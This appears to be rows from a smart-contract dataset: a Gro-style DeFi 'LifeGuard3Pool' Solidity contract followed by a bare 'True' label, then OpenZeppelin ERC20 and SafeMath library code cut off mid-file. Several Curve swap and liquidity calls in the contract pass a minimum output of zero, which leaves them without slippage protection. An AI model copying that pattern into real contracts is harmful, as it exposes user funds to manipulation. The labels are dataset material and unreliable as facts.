function singleStableToUsd(uint256 inAmount, uint256 i) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.7.0;
interface IERC20Detailed {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity >=0.6.0 <0.7.0;
interface ILifeGuard {
function assets(uint256 i) external view returns (uint256);
function totalAssets() external view returns (uint256);
function getAssets() external view returns (uint256[3] memory);
function totalAssetsUsd() external view returns (uint256);
function availableUsd() external view returns (uint256 dollar);
function availableLP() external view returns (uint256);
function depositStable(bool rebalance) external returns (uint256);
function investToCurveVault() external;
function distributeCurveVault(uint256 amount, uint256[3] memory delta) external returns (uint256[3] memory);
function deposit() external returns (uint256 usdAmount);
function withdrawSingleByLiquidity(
uint256 i,
uint256 minAmount,
address recipient
) external returns (uint256 usdAmount, uint256 amount);
function withdrawSingleByExchange(
uint256 i,
uint256 minAmount,
address recipient
) external returns (uint256 usdAmount, uint256 amount);
function invest(uint256 whaleDepositAmount, uint256[3] calldata delta) external returns (uint256 dollarAmount);
function getBuoy() external view returns (address);
function investSingle(
uint256[3] calldata inAmounts,
uint256 i,
uint256 j
) external returns (uint256 dollarAmount);
function investToCurveVaultTrigger() external view returns (bool _invest);
}
pragma solidity >=0.6.0 <0.7.0;
interface ICurve3Pool {
function coins(uint256 i) external view returns (address);
function get_virtual_price() external view returns (uint256);
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256);
function calc_token_amount(uint256[3] calldata inAmounts, bool deposit) external view returns (uint256);
function balances(uint256 i) external view returns (uint256);
}
interface ICurve3Deposit {
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function add_liquidity(uint256[3] calldata uamounts, uint256 min_mint_amount) external;
function remove_liquidity(uint256 amount, uint256[3] calldata min_uamounts) external;
function remove_liquidity_imbalance(uint256[3] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
}
interface ICurveMetaPool {
function coins(uint256 i) external view returns (address);
function get_virtual_price() external view returns (uint256);
function get_dy_underlying(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256);
function calc_token_amount(uint256[2] calldata inAmounts, bool deposit) external view returns (uint256);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function add_liquidity(uint256[2] calldata uamounts, uint256 min_mint_amount) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
}
interface ICurveZap {
function add_liquidity(uint256[4] calldata uamounts, uint256 min_mint_amount) external;
function remove_liquidity(uint256 amount, uint256[4] calldata min_uamounts) external;
function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256);
function calc_token_amount(uint256[4] calldata inAmounts, bool deposit) external view returns (uint256);
function pool() external view returns (address);
}
pragma solidity >=0.6.0 <0.7.0;
contract LifeGuard3Pool is ILifeGuard, Controllable, Whitelist, FixedStablecoins {
using SafeMath for uint256;
using SafeERC20 for IERC20;
ICurve3Deposit public immutable crv3pool;
IERC20 public immutable lpToken;
IBuoy public immutable buoy;
address public insurance;
address public depositHandler;
address public withdrawHandler;
uint256 public investToCurveThreshold;
mapping(uint256 => uint256) public override assets;
event LogNewCurveThreshold(uint256 threshold);
event LogNewInvest(
uint256 depositAmount,
uint256[N_COINS] delta,
uint256[N_COINS] amounts,
uint256 dollarAmount,
bool needSkim
);
event LogNewStableDeposit(uint256[N_COINS] inAmounts, uint256 lpToken, bool rebalance);
constructor(
address _crv3pool,
address poolToken,
address _buoy,
address[N_COINS] memory _tokens,
uint256[N_COINS] memory _decimals
) public FixedStablecoins(_tokens, _decimals) {
crv3pool = ICurve3Deposit(_crv3pool);
buoy = IBuoy(_buoy);
lpToken = IERC20(poolToken);
for (uint256 i = 0; i < N_COINS; i++) {
IERC20(_tokens[i]).safeApprove(_crv3pool, type(uint256).max);
}
}
function setDependencies() external onlyOwner {
IController ctrl = _controller();
if (withdrawHandler != address(0)) {
for (uint256 i = 0; i < N_COINS; i++) {
address coin = getToken(i);
IERC20(coin).safeApprove(withdrawHandler, uint256(0));
}
}
withdrawHandler = ctrl.withdrawHandler();
for (uint256 i = 0; i < N_COINS; i++) {
address coin = getToken(i);
IERC20(coin).safeApprove(withdrawHandler, uint256(0));
IERC20(coin).safeApprove(withdrawHandler, type(uint256).max);
}
depositHandler = ctrl.depositHandler();
insurance = ctrl.insurance();
}
function getAssets() external view override returns (uint256[N_COINS] memory _assets) {
for (uint256 i; i < N_COINS; i++) {
_assets[i] = assets[i];
}
}
function approveVaults(uint256 index) external onlyOwner {
IVault vault;
if (index < N_COINS) {
vault = IVault(_controller().underlyingVaults(index));
} else {
vault = IVault(_controller().curveVault());
}
address coin = vault.token();
IERC20(coin).safeApprove(address(vault), uint256(0));
IERC20(coin).safeApprove(address(vault), type(uint256).max);
}
function setInvestToCurveThreshold(uint256 _investToCurveThreshold) external onlyOwner {
investToCurveThreshold = _investToCurveThreshold;
emit LogNewCurveThreshold(_investToCurveThreshold);
}
function investToCurveVault() external override onlyWhitelist {
uint256[N_COINS] memory _inAmounts;
for (uint256 i = 0; i < N_COINS; i++) {
_inAmounts[i] = assets[i];
assets[i] = 0;
}
crv3pool.add_liquidity(_inAmounts, 0);
_investToVault(N_COINS, false);
}
function investToCurveVaultTrigger() external view override returns (bool invest) {
uint256 totalAssetsLP = _totalAssets();
return totalAssetsLP > investToCurveThreshold.mul(uint256(10)**IERC20Detailed(address(lpToken)).decimals());
}
function distributeCurveVault(uint256 amount, uint256[N_COINS] memory delta)
external
override
returns (uint256[N_COINS] memory)
{
require(msg.sender == controller, "distributeCurveVault: !controller");
IVault vault = IVault(_controller().curveVault());
vault.withdraw(amount);
_withdrawUnbalanced(amount, delta);
uint256[N_COINS] memory amounts;
for (uint256 i = 0; i < N_COINS; i++) {
amounts[i] = _investToVault(i, false);
}
return amounts;
}
function depositStable(bool rebalance) external override returns (uint256) {
require(msg.sender == withdrawHandler || msg.sender == insurance, "depositStable: !withdrawHandler|insurance");
uint256[N_COINS] memory _inAmounts;
uint256 countOfStableHasAssets = 0;
for (uint256 i = 0; i < N_COINS; i++) {
uint256 balance = IERC20(getToken(i)).balanceOf(address(this));
if (balance != 0) {
countOfStableHasAssets++;
}
if (!rebalance) {
balance = balance.sub(assets[i]);
} else {
assets[i] = 0;
}
_inAmounts[i] = balance;
}
if (countOfStableHasAssets == 0) return 0;
crv3pool.add_liquidity(_inAmounts, 0);
uint256 lpAmount = lpToken.balanceOf(address(this));
emit LogNewStableDeposit(_inAmounts, lpAmount, rebalance);
return lpAmount;
}
function skim(uint256 amount, uint256 index) internal returns (uint256 balance) {
uint256 skimPercent = _controller().getSkimPercent();
uint256 skimmed = amount.mul(skimPercent).div(PERCENTAGE_DECIMAL_FACTOR);
balance = amount.sub(skimmed);
assets[index] = assets[index].add(skimmed);
}
function deposit() external override returns (uint256) {
require(msg.sender == depositHandler, "depositStable: !depositHandler");
uint256[N_COINS] memory _inAmounts;
for (uint256 i = 0; i < N_COINS; i++) {
IERC20 coin = IERC20(getToken(i));
_inAmounts[i] = coin.balanceOf(address(this)).sub(assets[i]);
}
crv3pool.add_liquidity(_inAmounts, 0);
return lpToken.balanceOf(address(this));
}
function withdrawSingleByLiquidity(
uint256 i,
uint256 minAmount,
address recipient
) external override returns (uint256, uint256) {
require(msg.sender == withdrawHandler, "withdrawSingleByLiquidity: !withdrawHandler");
IERC20 coin = IERC20(getToken(i));
crv3pool.remove_liquidity_one_coin(lpToken.balanceOf(address(this)), int128(i), 0);
uint256 balance = coin.balanceOf(address(this)).sub(assets[i]);
require(balance > minAmount, "withdrawSingle: !minAmount");
coin.safeTransfer(recipient, balance);
return (buoy.singleStableToUsd(balance, i), balance);
}
function withdrawSingleByExchange(
uint256 i,
uint256 minAmount,
address recipient
) external override returns (uint256 usdAmount, uint256 balance) {
require(msg.sender == withdrawHandler, "withdrawSingleByExchange: !withdrawHandler");
IERC20 coin = IERC20(getToken(i));
balance = coin.balanceOf(address(this)).sub(assets[i]);
if (minAmount <= balance) {
uint256[N_COINS] memory inAmounts;
inAmounts[i] = balance;
usdAmount = buoy.stableToUsd(inAmounts, false);
} else {
for (uint256 j; j < N_COINS; j++) {
if (j == i) continue;
IERC20 inCoin = IERC20(getToken(j));
uint256 inBalance = inCoin.balanceOf(address(this)).sub(assets[j]);
if (inBalance > 0) {
_exchange(inBalance, int128(j), int128(i));
if (coin.balanceOf(address(this)).sub(assets[i]) >= minAmount) {
break;
}
}
}
balance = coin.balanceOf(address(this)).sub(assets[i]);
uint256[N_COINS] memory inAmounts;
inAmounts[i] = balance;
usdAmount = buoy.stableToUsd(inAmounts, false);
}
require(balance >= minAmount);
coin.safeTransfer(recipient, balance);
}
function getBuoy() external view override returns (address) {
return address(buoy);
}
function invest(uint256 depositAmount, uint256[N_COINS] calldata delta)
external
override
returns (uint256 dollarAmount)
{
require(msg.sender == insurance || msg.sender == depositHandler, "invest: !insurance|depositHandler");
bool needSkim = true;
if (depositAmount == 0) {
depositAmount = lpToken.balanceOf(address(this));
needSkim = false;
}
uint256[N_COINS] memory amounts;
_withdrawUnbalanced(depositAmount, delta);
for (uint256 i = 0; i < N_COINS; i++) {
amounts[i] = _investToVault(i, needSkim);
}
dollarAmount = buoy.stableToUsd(amounts, true);
emit LogNewInvest(depositAmount, delta, amounts, dollarAmount, needSkim);
}
function investSingle(
uint256[N_COINS] calldata inAmounts,
uint256 i,
uint256 j
) external override returns (uint256 dollarAmount) {
require(msg.sender == depositHandler, "!investSingle: !depositHandler");
uint256 k = N_COINS - (i + j);
uint256 inBalance = inAmounts[k];
if (inBalance > 0) {
_exchange(inBalance, int128(k), int128(i));
}
uint256[N_COINS] memory amounts;
if (inAmounts[i] > 0 || inAmounts[k] > 0) {
amounts[i] = _investToVault(i, true);
}
if (inAmounts[j] > 0) {
amounts[j] = _investToVault(j, true);
}
dollarAmount = buoy.stableToUsd(amounts, true);
}
function totalAssets() external view override returns (uint256) {
return _totalAssets();
}
function availableLP() external view override returns (uint256) {
uint256[N_COINS] memory _assets;
for (uint256 i; i < N_COINS; i++) {
IERC20 coin = IERC20(getToken(i));
_assets[i] = coin.balanceOf(address(this)).sub(assets[i]);
}
return buoy.stableToLp(_assets, true);
}
function totalAssetsUsd() external view override returns (uint256) {
return buoy.lpToUsd(_totalAssets());
}
function availableUsd() external view override returns (uint256) {
uint256 lpAmount = lpToken.balanceOf(address(this));
uint256 skimPercent = _controller().getSkimPercent();
lpAmount = lpAmount.sub(lpAmount.mul(skimPercent).div(PERCENTAGE_DECIMAL_FACTOR));
return buoy.lpToUsd(lpAmount);
}
function _exchange(
uint256 amount,
int128 _in,
int128 out
) private returns (uint256) {
crv3pool.exchange(_in, out, amount, 0);
}
function _withdrawUnbalanced(uint256 inAmount, uint256[N_COINS] memory delta) private {
uint256 leftAmount = inAmount;
for (uint256 i; i < N_COINS - 1; i++) {
if (delta[i] > 0) {
uint256 amount = inAmount.mul(delta[i]).div(PERCENTAGE_DECIMAL_FACTOR);
leftAmount = leftAmount.sub(amount);
crv3pool.remove_liquidity_one_coin(amount, int128(i), 0);
}
}
if (leftAmount > 0) {
crv3pool.remove_liquidity_one_coin(leftAmount, int128(N_COINS - 1), 0);
}
}
function _totalAssets() private view returns (uint256) {
uint256[N_COINS] memory _assets;
for (uint256 i; i < N_COINS; i++) {
_assets[i] = assets[i];
}
return buoy.stableToLp(_assets, true);
}
function _investToVault(uint256 i, bool needSkim) private returns (uint256 balance) {
IVault vault;
IERC20 coin;
if (i < N_COINS) {
vault = IVault(_controller().underlyingVaults(i));
coin = IERC20(getToken(i));
} else {
vault = IVault(_controller().curveVault());
coin = lpToken;
}
balance = coin.balanceOf(address(this)).sub(assets[i]);
if (balance > 0) {
if (i == N_COINS) {
IVault(vault).deposit(balance);
IVault(vault).invest();
} else {
uint256 investBalance = needSkim ? skim(balance, i) : balance;
IVault(vault).deposit(investBalance);
}
}
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
